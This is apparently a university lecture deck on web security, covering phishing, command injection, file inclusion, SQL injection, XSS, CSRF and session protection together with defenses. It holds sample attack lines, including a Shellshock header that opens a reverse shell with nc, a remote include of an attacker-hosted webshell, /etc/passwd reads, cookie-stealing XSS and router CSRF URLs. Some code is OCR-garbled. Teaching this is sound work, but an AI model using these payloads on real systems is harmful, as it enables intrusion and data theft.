Web Security

CS-576 Systems Security
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Fall 2018
Overview

Web builds on a multitier architecture

Attack vectors

- Social engineering
- Attacking the server
- Attacking the client
Web Security Is About

Users safely accessing the web

Enabling safe web applications
Web → Multitier Architectures

- Files, scripts, etc.
- Plugins (e.g., PHP, JSP, etc.)
- CGI
- HTTP Server (Apache, Nginx, etc.)
- TCP Port 80
- Operating System
- Database

TCP Port 80

GUI

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Web → Multitier Architectures

 acompanamiento de la imagen de la presentación: 

- **Database**
- **Operating System**
- **TCP Port 80**
- **Presentation tier**

The diagram illustrates the components of a multitier architecture for a web application:

1. **Presentation Tier**
   - Files, scripts, etc.
   - Plugins (e.g., PHP, JSP, etc.)
   - CGI

2. **Application Tier**
   - Web server (e.g., Apache, Nginx)
   - HTTP server
   - Operating system
   - TCP Port 80

3. **Database Tier**
   - Database
Web → Multitier Architectures

HTTP Server (Apache, Nginx, etc.)

Logic tier

Operating System

TCP Port 80

Files, scripts, etc.

Plugins (e.g., PHP, JSP, etc.)

CGI

PHP

Bash

Perl

Python

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Web → Multitier Architectures

- **Files, scripts, etc.**
- **Plugins (e.g., PHP, JSP, etc.)**
- **CGI**
- **PHP**
- **Bash**
- **Perl**
- **Python**
- **Database**
- **TCP Port 80**
- **HTTP Server (Apache, Nginx, etc.)**
- **Data tier**

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Blurry Application Boundary
All Tiers Can Be Vulnerable

TCP Port 80

Files, scripts, etc.

Plugins (e.g., PHP, JSP, etc.)

CGI

PHP  Bash  Perl  Python

Database

WWW layer
(Apache, IIS, etc.)

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Malware

Click Here To Start Downloading **Avast! Anti-virus 5.0**!

Avast! Anti-virus 5.0 is the #1 antivirus, anti-spyware & anti-rootkit package. Avast includes the following great features:

- On demand scanner with skinnable simple interface, just select what do you want to scan in which way and press the Play button;
- On access scanner, special providers to protect the most of available e-mail clients;
- Network traffic-intrusion detection, lightweight firewall;
- P2P protection; Web shield—monitors and filters all HTTP traffic;
- NNTP scanner—scans all Usenet Newsgroup traffic and all operations with files on PC;
- Boot time scanner—scans disks in the same way and in the same time as Windows CHKDSK does.

Get instant access to the world’s most trusted antivirus software collection. Protect your email, instant messages and other files by automatically removing viruses. New built-in features also detects threats such as Spyware and Adware. Protect your PC 24 hours a day with this award-winning software collection.

**Software Info**

- **Customer Rating:** ★★★★★
- **Publisher:** ALWIL Software
- **File size:** 17.8 MB
- **Platform:**
  - Windows (Vista, XP, 2000, 98)

**Top Features**

- Official 5.0 Version
- New interface & features
- Easy Installation
- Only 2 minutes setup
- User Friendly
- Step by step guides
- Ultra Fast Download
- Free updates
- 24/7 Technical Support and more!
Malicious Add-ons/Extensions
Phishing

Fake Facebook URL: www.facelook.cixx6.com
Phishing

Fake Browser with URL using HTML 5
In 1994, 2/3 of the Fortune 500 companies had not registered the domains corresponding to their trademarks

- E.g., mcdonalds.com

Some of the speculators, decided to push it a bit by registering such domains, hoping for profit

- This practice was named “cybersquatting”

In some cases, cybersquatters speculated the name of future products and services:

- iphone6.com
Typosquatting

Keyboard users, even experienced ones, make mistakes while typing

Registration of mistypes of popular domains

- foogle.com, ffacebook.com, twitte.com

Standard typo models:

- Double character, exxample.com
- Omitted character, eample.com
- Neighboring character, wxample.com
- Forgetting dots, wwwwexample.com
- Character permutation, eaxmple.com
Expired domains

Unlike diamonds... domain names are not forever

- Typical registration period is one year and you can choose more years if you want to

If a domain is not renewed, it eventually expires and gets back into the pool of domain names

People can buy these domains and abuse the residual trust associated with them

- Mostly used for SEO purposes because of existing ranking and backlinks

A benign domain (and all links to it) can eventually become malicious if it switches hands
Defenses

Scan the web/emails/etc. to identify and **blacklist** malicious URLs
Defenses

Scan the web/emails/etc. to identify and **blacklist** malicious URLs

[Image of a website warning]

**The site ahead contains harmful programs**

Attackers on [redacted] might attempt to trick you into installing programs that harm your browsing experience (for example, by changing your homepage or showing extra ads on sites you visit).

- [ ] Automatically report details of possible security incidents to Google. [Privacy policy]

[Details] [Back to safety]
The Server Part

- Files, scripts, etc.
- Plugins (e.g., PHP, JSP, etc.)
- CGI
- PHP
- Bash
- Perl
- Python

HTTP Server (Apache, Nginx, etc.)

Database
Incorrect Handling of Program Input

Input is any source of data from outside and whose value is not explicitly known by the programmer when the code was written.

Must identify all data sources.

Incorrect handling is a very common failing.

Explicitly validate assumptions on size and type of values before use.
Common Gateway Interface

Executes a program to handle HTTP requests

- Body of request is given as standard input
- Header data and other CGI-specific data are passed as environment variables
- Standard output produced by program is returned as the body of the response
CGI Example

```html
<!DOCTYPE html>
<html>
<body>
<form action="add.cgi" method="POST">
 Enter two numbers to add:<br />
 First Number: <input type="text" name="num1" /><br />
 Second Number: <input type="text" name="num2" /><br />
 <input type="submit" value="Add" />
</form>
</body>
</html>
```

```python
#!/usr/bin/env python2
import cgi
import cgitb
cgitb.enable()

input_data = cgi.FieldStorage()

print 'Content-Type:text/html' # HTML is following
print # Leave a blank line
print '<h1>Addition Results</h1>
try:
    num1 = int(input_data["num1"].value)
    num2 = int(input_data["num2"].value)
except:
    print '<p>Sorry, we cannot turn your inputs into numbers (integers).</p>'
return 1
print '<p>{0} + {1} = {2}</p>'.format(num1, num2, num1 + num2)
```
POST /index.html HTTP/1.0
X-HEADER: X-VALUE

post_var=post_val&…

X-HEADER=X-VALUE

Headers exported as regular shell variables

script.sh

CGI
Example: Shellshock

Bug in how the Bash shell parses functions defined within an environment variable


Bash allows for declaring a function within an environment variable

F='foo() { echo bar; }'

The shellshock bug enables execution of commands through an environment variable

X-Frame-Options='() { ; }; echo;/bin/nc -e /bin/bash 192.168.81.128 443'
Passing User Input to a Vulnerable Script

POST /index.html HTTP/1.0
X-Frame-Options: () { ; } ; echo; /bin/nc -e /bin/bash 192.168.81.128 443

X-FRAME-OPTIONS=

script.sh

Headers exported as regular shell variables

A command injection attack
Command Injection Attacks

Caused by insufficient or no validation of user input

Not the same as code injection
  ▪ But equally as bad

Anything that calls the exec() family of calls or system() could be a target
  ▪ Most languages include such APIs
exec

(exec, PHP 4, PHP 5, PHP 7)
exec — Execute an external program

Description

```php
string exec ( string $command [, array &$output [, int &$return_var ]] )
```

exec() executes the given command.

Parameters

command
The command that will be executed.

output
If the output argument is present, then the specified array will be filled with every line of output from the command. Trailing whitespace, such as \n, is not included in this array. Note that if the array already contains some elements, exec() will append to the end of the array. If you do not want the function to append elements, call unset() on the array before passing it to exec().

return_var
If the return_var argument is present along with the output argument, then the return status of the executed command will be written to this variable.
child_process.exec(command[, options][, callback])

- **History**
  - **command** <string> The command to run, with space-separated arguments.
  - **options** <object>
    - **cwd** <string> Current working directory of the child process. Default: null.
    - **env** <object> Environment key-value pairs. Default: null.
    - **encoding** <string> Default: 'utf8'
    - **shell** <string> Shell to execute the command with. See Shell Requirements and Default Windows Shell. Default: '/bin/sh' on UNIX
      process.env.COMSPEC on Windows.
    - **timeout** <number> Default: 0
    - **maxBuffer** <number> Largest amount of data in bytes allowed on stdout or stderr. If exceeded, the child process is terminated. See caveats for maxBuffer and Unicode. Default: 200 * 1024.
    - **killSignal** <string> | <integer> Default: 'SIGTERM'
    - **uid** <number> Sets the user identity of the process (see setuid(2)).
    - **gid** <number> Sets the group identity of the process (see setgid(2)).
    - **windowsHide** <boolean> Hide the subprocess console window that would normally be created on Windows systems. Default: true.
  - **callback** <Function> called with the output when process terminates.
    - **error** <Error>
    - **stdout** <string> | <Buffer>
    - **stderr** <string> | <Buffer>

Returns: <ChildProcess>

Spawns a shell then executes the command within that shell, buffering any generated output. The command string passed to the exec function is processed directly by the shell and special characters (vary based on shell) need to be dealt with accordingly:
Command Injection Attacks

Caused by insufficient or no validation of user input

Not the same as code injection
  - But equally as bad

Anything that calls the exec() family of calls or system() could be a target
  - Most languages include such APIs

Types of incorrect handling?
A Perl script that print files and directory contents

```perl
my $arg=shift;
my $arg_len=length($arg);
if ($arg_len <= 0) {
   print "boring\n";
   exit(1);
}
print "displaying files with filter '$arg':\n";
arg = "; cat /etc/passwd"
system("ls $arg");
```
A Perl script that print files and directory contents

```perl
my $arg = shift;
...
if ($arg =~ m;/;/) {
    print "my mother told me to sanitize input!\n";
    exit(1);
}
print "displaying files with filter '$arg':\n";
system("ls $arg");
```

Use of Input With Insufficient Validation

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How to Protect?

Security by design

Follow best practices

- Software Assurance Forum for Excellence in Code (SAFECode)

Do not make assumptions about input

Validate all inputs

- Use libraries \(\to\) Faster and reusable
- Strict input validation
  - Data type (string, integer, real, etc...);
  - Allowed character set, minimum and maximum length
  - Patterns (e.g., SSN, email, URL, etc.)
Input Validation/Sanitization

A Perl script that print files and directory contents

- Only accepts particular patterns

```perl
my $arg=shift;
...
if ($arg =~ m/^\[A-Za-z0-9_\-\.\*]*\.[A-Za-z0-9_\-\.\*]*$/ ) {
    print "displaying files with filter '$arg':\n";system("ls $arg");
}
else {
    print "my mother told me to sanitize input!\n";
}
```
File Inclusion Vulnerabilities

COLOR restricted to two values

Browser

```html
<form method="get">
    <select name="COLOR">
        <option value="red">red</option>
        <option value="blue">blue</option>
    </select>
    <input type="submit">
</form>
```

Server

```php
<?php
    if ( isset( $_GET['COLOR'] ) ) {
        include( $_GET['COLOR'] . '.php' );
    }
?>
```
File Inclusion Vulnerabilities

**Browser**

```html
<form method="get">
    <select name="COLOR">
        <option value="red">red</option>
        <option value="blue">blue</option>
    </select>
    <input type="submit">
</form>
```

**Server**

```php
<?php
    if ( isset( $_GET['COLOR'] ) ) {
        include( $_GET['COLOR'] . '.php' );
    }
?>
```

**Raw write to server**

```
/vulnerable.php?COLOR=http://evil.example.com/webshell.txt?
```
File Inclusion Vulnerabilities

<form method="get">
    <select name="COLOR">
        <option value="red">red</option>
        <option value="blue">blue</option>
    </select>
    <input type="submit">
</form>

SERVER:

```php
<?php
if (isset($_GET['COLOR'])) {
    include($_GET['COLOR'] . '.php');
}
?>
```

Raw write to server

/vulnerable.php?COLOR=http://evil.example.com/webshell.txt?
File Inclusion Vulnerabilities

Cannot do input validation at the client!
Directory Traversal Vulnerabilities

Server

```php
<?php
    if ( isset($_GET['COLOR']) ) {
        include('/usr/local/share/templates/' . $_GET['COLOR']);
    }
?>
```

Raw write to server

```
/vulnerable.php?COLOR=../../../../../etc/passwd
```

Leak password file
Directory Traversal Vulnerabilities

Server

```php
<?php
if ( isset($_GET['COLOR']) ) {
    include('/usr/local/share/templates/' . $_GET['COLOR'] . '.php');
}
?>
```

Raw write to server

```
/vulnerable.php?COLOR=../../../../../etc/passwd%00
```

Leak password file
Handling Input in DB Server

Databases organize data

A database management system (DBMS) is the systems responsible for managing the data and handling the interaction with the user.

Most DBs are relational

Today we also see key-value stores (e.g., NoSQL databases)
Relational Databases

Data organized using tables consisting of rows and columns
  - Each column holds a particular type of data
  - Each row contains a specific value for each column

Ideally has one column where all values are unique, forming an identifier/key for that row
  - Enables the creation of multiple tables linked together by a unique identifier that is present in all tables

Use a relational query language to access the database

Allows the user to request data that fit a given set of criteria (i.e., search the data)
Information in multiple tables can be linked through keys.

(a) Two tables in a relational database

(b) A view derived from the database

Figure 5.4  Relational Database Example

Data from multiple tables can be combined to create views.
Structured Query Language (SQL)

Standardized language to define schema, manipulate, and query data in a relational database

Several similar versions of ANSI/ISO standard

All follow the same basic syntax and semantics

SQL statements can be used to:

- Create tables
- Insert and delete data in tables
- Create views
- Retrieve data with query statements
User login on a simple web application
Look for a user/password combination with the values entered by the user

```php
... $query = new CGI; $username = $query->param("username"); $password = $query->param("password"); ...
$sql_command = "select * from users where username='".$username."' and password='".$password."';"; $sth = $dbh->execute($sql_command) ...
```

Input without validation
Simple SQL Injection

If the user enters a ‘ (single quote) as the password, the SQL statement in the script would become:

\[
\text{SELECT} \,*\, \text{FROM users WHERE username=' ' AND password = ' '}
\]

Generates an error
Simple SQL Injection

If the user enters a ‘ (single quote) as the password, the SQL statement in the script would become:

```sql
SELECT * FROM users WHERE username=' ' AND password = ''
```

If the user enters (injects): ‘ or username='administrator as the password, the SQL statement in the script would become:

```sql
SELECT * FROM users WHERE username=' ' AND password = ''

or username='administrator'
```

Generates a different SQL statement
Simple SQL Injection

If the user enters a ‘ (single quote) as the password, the SQL statement in the script would become:

```
SELECT * FROM users WHERE username=' ' AND password = ''
```

If the user enters (injects): ‘ or username='administrator as the password, the SQL statement in the script would become:

```
SELECT * FROM users WHERE username=' ' AND password = '' or username='administrator'
```

Comments are also popular:

```
SELECT * FROM users WHERE username='administrator'-- AND password = 'whatever'
```
No Need for Quotes

Web applications will often escape the ‘ and “ characters

- E.g., PHP Magic quotes feature automatically escapes ‘
- E.g., PHP addslashes ($str) → escape quotes using \ 

Numbers in SQL statements can be also exploited

Example: logout.php?id=10&name=john

INSERT INTO users (id, name) VALUES ($id, addslashes($str))
HI, THIS IS YOUR SON'S SCHOOL. WE'RE HAVING SOME COMPUTER TROUBLE.

OH, DEAR - DID HE BREAK SOMETHING? IN A WAY -

DID YOU REALLY NAME YOUR SON Robert'); DROP TABLE Students;-- ?

OH, YES. LITTLE BOBBY TABLES, WE CALL HIM.

WELL, WE'VE LOST THIS YEAR'S STUDENT RECORDS. I HOPE YOU'RE HAPPY.

AND I HOPE YOU'VE LEARNED TO SANITIZE YOUR DATABASE INPUTS.

http://xkcd.com/327/
Blind SQL Injection

Performing SQL injection when application code is not available

Database schema may be learned through returned error messages
Blind SQL Injection

Performing SQL injection when application code is not available

Database schema may be learned through returned error messages

**A typical countermeasure is to prohibit the display of error messages**

Your application may still be vulnerable to blind SQL injection
Example: pressRelease.jsp?id=5

How can we inject statements into the application and exploit it?

Trial and error: pressRelease.jsp?id=5 AND 1=1

If an injection is possible the injected SQL will always be true → the same result will be returned

If an injection is not possible the injected SQL will be interpreted as a value → error will occur and something else will be returned
Example: pressRelease.jsp?id=5

How can we inject statements into the application and exploit it?

Trial and error: pressRelease.jsp?id=5 AND 1=1

If an injection is possible the injected SQL will always be true → the same result will be returned.

If an injection is not possible the injected SQL will be interpreted as a value → error will occur and something else will be returned.

Can also learn more things:
pressRelease.jsp?id=5 AND user_name()=‘h4x0r’
Example: pressRelease.jsp?id=5

How can we inject statements into the application and exploit it?

Trial and error: pressRelease.jsp?id=5 AND 1=1

If an injection is possible the injected SQL will always be true → the same result will be returned

If an injection is not possible the injected SQL will be interpreted as a value → an error will occur and something else will be returned

Can also learn more things:
pressRelease.jsp?id=5 AND user_name()='h4x0r'
Second Order SQL Injection

SQL is injected into an application, but the SQL statement is invoked at a later point in time (e.g., statistics page, etc.)

Possible even if application escapes single quotes

```
CREATE_USER.php?uname=john‘)--
```

```
SERVER

string safe_uname = mysqli::escape_string($_GET["uname"]);
...
... "INSERT INTO users (uid, uname) VALUES (10, ‘john‘)--‘"
```

```
SERVER

$uname = "SELECT uname FROM users WHERE uid=10;"
...
... "INSERT logout VALUES (ts, uname) VALUES (now(), uname=‘john‘)--‘"
```
Secure Coding Practices

Developers must never allow client-supplied data to modify SQL statements

SQL statements required by application should be stored procedures on the DB server

Use prepared statements


```php
$stmt = $mysqli->prepare("SELECT District FROM City WHERE Name=?");
$stmt->bind_param("s", $city);
```

Securely insert data in statement
Secure Coding Practices

Developers must never allow client-supplied data to modify SQL statements

SQL statements required by application should be stored procedures on the DB server

Use prepared statements


```php
$stmt = $mysqli->prepare("SELECT District FROM City WHERE Name=?");

$stmt->bind_param("s", $city);
```

Will never be interpreted as statements

Securely insert data in statement
Hints that a Web Application is Broken

Developers are notorious for leaving statements like FIXME, Code Broken, Hack, etc. inside released source code

- Always review the source code for any comments denoting passwords, backdoors, or omissions

“Hidden” fields (<input type="hidden"...>) are sometimes used to store temporary values in Web pages

- Not so hidden and can be easily changed
- Browser debugging add-ons facilitate this
The Client Side

Database

HTTP Server
(Apache, Nginx, etc.)

TCP Port 80

Files, scripts, etc.

Plugins (e.g., PHP, JSP, etc.)

CGI

PHP
Bash
Perl
Python
JavaScript

JavaScript is embedded into web pages to support dynamic client-side behavior

Typical uses of JavaScript include:

- Dynamic interactions (e.g., the URL of a picture changes)
- Client-side validation (e.g., has user entered a number?)
- Form submission
- Document Object Model (DOM) manipulation

Developed by Netscape as a light-weight scripting language with object-oriented capabilities

- later standardized by ECMA
- after some stagnation, JS has made a major comeback
JavaScript in Webpages

Embedded in HTML as a `<script>` element

- Written directly inside a `<script>` element
  - `<script> alert("Hello World!") </script>`
- In a file linked as src attribute of a `<script>` element
  `<script type="text/JavaScript" src="functions.js"></script>`

Event handler attribute

  `<a href="http://www.yahoo.com" onmouseover="alert('hi');">`

Pseudo-URL referenced by a link

  `<a href="JavaScript: alert('You clicked');"">Click me</a>`
The Good...And The Bad

The user’s environment is protected from malicious JavaScript code by a “sandboxing” environment.

JavaScript programs are protected from each other by using compartmentalizing mechanisms.

JavaScript code can only access resources associated with its origin site (same-origin policy).
Same Origin Policy

Browser prohibits interaction because content from different remote sites. For example, scripts in two different windows or iframes.
Domains vs Subdomains

Subdomains

- E.g., private.example.com vs forum.example.com
- Considered different origin
- Possibility to relax the origin to example.com using document.domain
- Possibility to use cookies on example.com

Completely separate domains

- E.g., private.example.com vs exampleforum.com
- Considered different origin, without possibility of relaxation
- No possibility of shared cookies
Subdomains and Domain Relaxation

www.example.com

- private.example.com
- forum.example.com
- account.example.com
Subdomains and Domain Relaxation

`document.domain = "example.com";`
Cross-site scripting (XSS)

Simple attack, but difficult to prevent

An attacker in some way injects malicious scripts in the web page visited by the victim

The user’s browser cannot distinguish that the injected script is not trusted
  - That is, the script comes from the same source as the trusted content
Same Origin Policy

1.) posts malicious content onto site
2.) user downloads malicious content in a benign context

Browser cannot distinguish between good and bad scripts and grants full access
**XSS Classes**

**Stored attacks** are those where the injected code is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc.

- Requires that the victim browses to the Web site

**Reflected attacks** are those where the injected code is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request

- Delivered to victims as a link through an e-mail or another website
Simple XSS Example

• Suppose a Web application (*text.pl*) accepts a parameter *msg* and displays its contents in a form:

```php
$query = new CGI;
$directory = $query->param("msg");
print "
<html><body>
<form action="displaytext.pl" method="get">
$msg <br>
<input type="text" name="txt">
<input type="submit" value="OK">
</form></body></html>"
```

Unvalidated input!
Simple XSS Example

Example: ... /text.pl?msg=HelloWorld
Simple XSS Example

JavaScript code can be injected into the page

- Example: /text.pl?msg=<script>alert(“I Own you”)</script>

Using `document.cookie` identifier in JavaScript, we can steal cookies and send them to our server

We can e-mail this URL to thousands of users or plant the url in youtube comments and wait
Exfiltrating Information

Replace URLs with a page under the attacker’s control

- Filtered quotes can be replaced with the unicode equivalents `\u0022` and `\u0027`

**Form redirecting** → redirect the target of a form to steal the form values (e.g., passwd)
Attackers Are Creative

Example: bypassing filters that look for “/”

```javascript
var n = new RegExp("http: myserver evilscr.js");
for slash = location.href.charAt(6);
space = n.source.charAt(5);
s = n.source.split(space).join(for slash);

var createElement = document.createElement('script');
createElement.src = the_script;
document.getElementsByTagName('head')[0].
.appendChild(createScript);
```
DOM-based XSS

URL
http://www.example.com/search?name=<script>alert(‘XSS’);</script>

Web page source code
<script>
    name = document.URL.substring(document.URL.indexOf("name=")+5);
    document.write("<h1>Welcome “ + name + “</h1>”);
</script>

Resulting page
<h1>Welcome <script>alert(‘XSS’);</script></h1>
How Much Code Can Be Injected

Attacker can include scripts in remote URLs

Example: img src='http://valid address/clear.gif'
onload='document.scripts(0).src="http://myserver/evilscript.js"
Content Security Policy (CSP)

Separate code and data

- Define trusted code sources
- Inline assembly considered harmful

Example:

```
Content-Security-Policy: default-src https://cdn.example.net; frame-src 'none'; object-src 'none'; image-src self;
```

Great if you are writing something from scratch

Not so great if you have to rewrite something to CSP
<script>
function doAmazingThings() {
    alert('YOU ARE AMAZING!');
}
</script>
<button onclick='doAmazingThings();'>Am I amazing?</button>

<!-- amazing.html -->
<script src='amazing.js'></script>
<button id='amazing'>Am I amazing?</button>

// amazing.js
function doAmazingThings() {
    alert('YOU ARE AMAZING!');
}
document.addEventListener('DOMContentLoaded', function () {
    document.getElementById('amazing').addEventListener('click', doAmazingThings);
});
Content Security Policy v2

CSP was great in theory but still hasn’t caught up in practice

CSP v2.0 supports two new features to help adopt CSP

- Script nonces for inline scripts
- Hashes for inline scripts
- Read more here:
  - https://blog.mozilla.org/security/2014/10/04/csp-for-the-web-we-have/
Script nonces for inline scripts

- [HTTP Header] Content-security-policy: default-src 'self'; script-src 'nonce-2726c7f26c'
- [HTML] <script nonce="2726c7f26c">... </script>

Hashes for inline scripts

- [HTTP Header] content-security-policy: script-src 'sha256-cLuU6nVzrYJlo7rUa6TMmz3nyIPFrPQrEUpOHIlb5ic='
- [HTML] <script> ... </script>
Other Defenses

Application-level firewalls

- Filters that sit between servers and application code, filtering bad inputs (e.g., inputs including JS code)

Browser filters try to eliminate obvious XSS reflection attacks

Escape user input

Static code analysis
Third Parties

What if an attacker can not find an XSS vulnerability in a website?

Can he somehow still get to run malicious JavaScript code?

Perhaps... by abusing existing trust relationships between the target site and other sites.
JavaScript Libraries

Today, a lot of functionality exists, and all developers need to do is link it in their web application

- Social widgets
- Analytics
- JavaScript programming libraries
- Advertising
- ...

Stevens Institute of Technology
Remote JavaScript Libraries

The code coming from foo.com will be incorporated in mybank.com, as if the code was developed and present on the servers of mybank.com.
Remote JavaScript Libraries

This means that if, foo.com, decides to send you malicious JavaScript, the code can do anything in the mybank.com domain

Why would foo.com send malicious code?

- Why not?
- Change of control of the domain
- Compromised
Cross Site Request Forgery (CSRF)

Allows attackers to send arbitrary HTTP requests on behalf of a victim

The attack can be hard to understand and avoid
- Likely many web applications are vulnerable

Typical scenario:
- User has authenticated with site A and is logged in
- Malicious site B tricks the user into submitting a malicious request to site A
CSRF Example

1) Log in (username and password)

USER

target.com

attacker.com
CSRF Example

1) Log in (username and password)

2) success

USER

victim.com

attacker.com
**CSRF Example**

1) Log in (username and password)

2) success

3) GET /index.html

**USER**

**victim.com**

**attacker.com**
CSRF Example

1) Log in (username and password)

2) success

3) GET /index.html

4) <img src="http://www.victim.com/create.php?username=badguy&password=nopasswd">

victim.com

USER

attacker.com
CSRF Example

1) Log in (username and password)

2) Success

USER

3) GET /index.html

attacker.com

4) <img src="http://www.victim.com/create.php?username=badguy&password=nopasswd">

5) GET /create.php?username=badguy&password=nopasswd + session cookie for victim.com

victim.com
CSRF Against Home Routers

Home User
192.168.0.101

DSL router
192.168.0.1

attacker.com
CSRF Against Home Routers

1) GET /index.html

2) <img src="http://192.168.0.1/action.php?do_something_bad">

- Home User 192.168.0.101
- DSL router 192.168.0.1
- attacker.cm
CSRF Against Home Routers

1) GET /index.html

2) <img src="http://192.168.0.1/action.php?do_something_bad">

3) GET /action.php?do_something_bad
What can the attacker do?

Real example: CSRF in home routers from a Mexican ISP

- No password was set by default
- http://www.securityfocus.com/archive/1/archive/1/476595/100/0/threaded

Add names to the DNS (216.163.137.3 www.prueba.hkm):


Disable Wireless Authentication

- http://192.168.1.254/xslt?PAGE=C05_POST&THISPAGE=C05&NEXTPAGE=C05_POST&NAME=encrypt_enabled&VALUE=0

Disable firewall, set new password,...
Server-side Countermeasures

Generate a token as part of the form and validate this token upon reception

- E.g., using unique IDs, MD5 hashes, etc.
- The token has to be bound to the user session
- Cannot be stored in a cookie
- You could limit the validity of the token time (e.g., 3 minutes)

Attacker cannot steal the token because of Same Origin Policy
<form method="POST"
target=https://mybank.com/move_money/>
  <input type="text" name="acct-to">
  <input type="text" name="amount">
  <input type="hidden" name="t" value="dsf98sdf8fds324">
  <input type="submit">
</form>
Client-side Countermeasures

Starting from 2016, some popular browsers have started supporting an extra cookie flag called “samesite”

- The possible values of this attribute are “Strict” and “Lax”
- “Lax” is the default choice

Set-Cookie: SID=123abc; SameSite=Lax

Set-Cookie: SID=123abc; SameSite=Strict
SameSite Cookies – Strict Mode

The **SameSite=Strict** attribute requests from the browser to not attach the cookies to requests initiated by third-party websites.

**Examples**

- Do not attach facebook.com cookies when:
  - `attacker.com` automatically submits a form towards facebook.com
  - `attacker.com` opens up `facebook.com` in an iframe
  - `attacker.com` requests a remote image/js from `facebook.com`
  - User clicks on a link to `facebook.com` on the `attacker.com` website
The `SameSite=Lax` relaxes the requirement for no third-party-initiated requests.

The cookies will be attached in a third-party request as long as:

1. The request is done via the GET method
2. Results in a top-level change
   1. No iframes
   2. No XMLHTTPRequests

Examples

- Do not attach facebook.com cookies when:
  - attacker.com automatically submits a form towards facebook.com
  - attacker.com opens up facebook.com in an iframe

- Do attach facebook.com cookies when:
  - attacker.com requests a remote image/js from facebook.com
  - User clicks on a link to facebook.com on the attacker.com website
While the SameSite attribute solves the core of the issue causing CSRF you should not be solely relying on it when building web applications

- Low adoption by browsers
- [http://caniuse.com/#search=samesite](http://caniuse.com/#search=samesite)
'SameSite' cookie attribute

Same-site cookies ("First-Party-Only" or "First-Party") allow servers to mitigate the risk of CSRF and information leakage attacks by asserting that a particular cookie should only be sent with requests initiated from the same registrable domain.

This feature is backwards compatible. Browsers not supporting this feature will simply use the cookie as a regular cookie. There is no need to deliver different cookies to clients.

1. Not shipped with the initial release but later with the 2018 June security update (Patch Tuesday) to Windows 10 RS3 (2017 Fall Creators Update) and newer. More Info.
2. Partial support because only supported in IE 11 on Windows 10 RS3 (2017 Fall Creators Update) and newer, but not in IE 11 on other Windows versions (Windows 7, ...)

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Countermeasures All the Way Down

While the SameSite attribute solves the core of the issue causing CSRF you should not be solely relying on it when building web applications

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Use both the token and the SameSite attribute

- Part of the “belt-and-suspenders” mindset that we want in security
- More formally known as “defense in depth”
Session Hijacking/Fixation

It allows an attacker to gain control of a user’s session

Session fixation

Force a user to use a session identifier that is already known to the attacker

- Example: Performing CSRF with the session id

Session hijacking

Steal the user’s session identifier

- Example: XSS, Predictable session tokens, sniffing the network
Session Protection

Use cookies for session identifiers

Protecting session cookies

- Deploy application over TLS only
- Secure cookies: prevents cleartext transmission
- HttpOnly cookies: prevents script access

```plaintext
Set-Cookie: SID=123abc; Secure; HttpOnly
```
<table>
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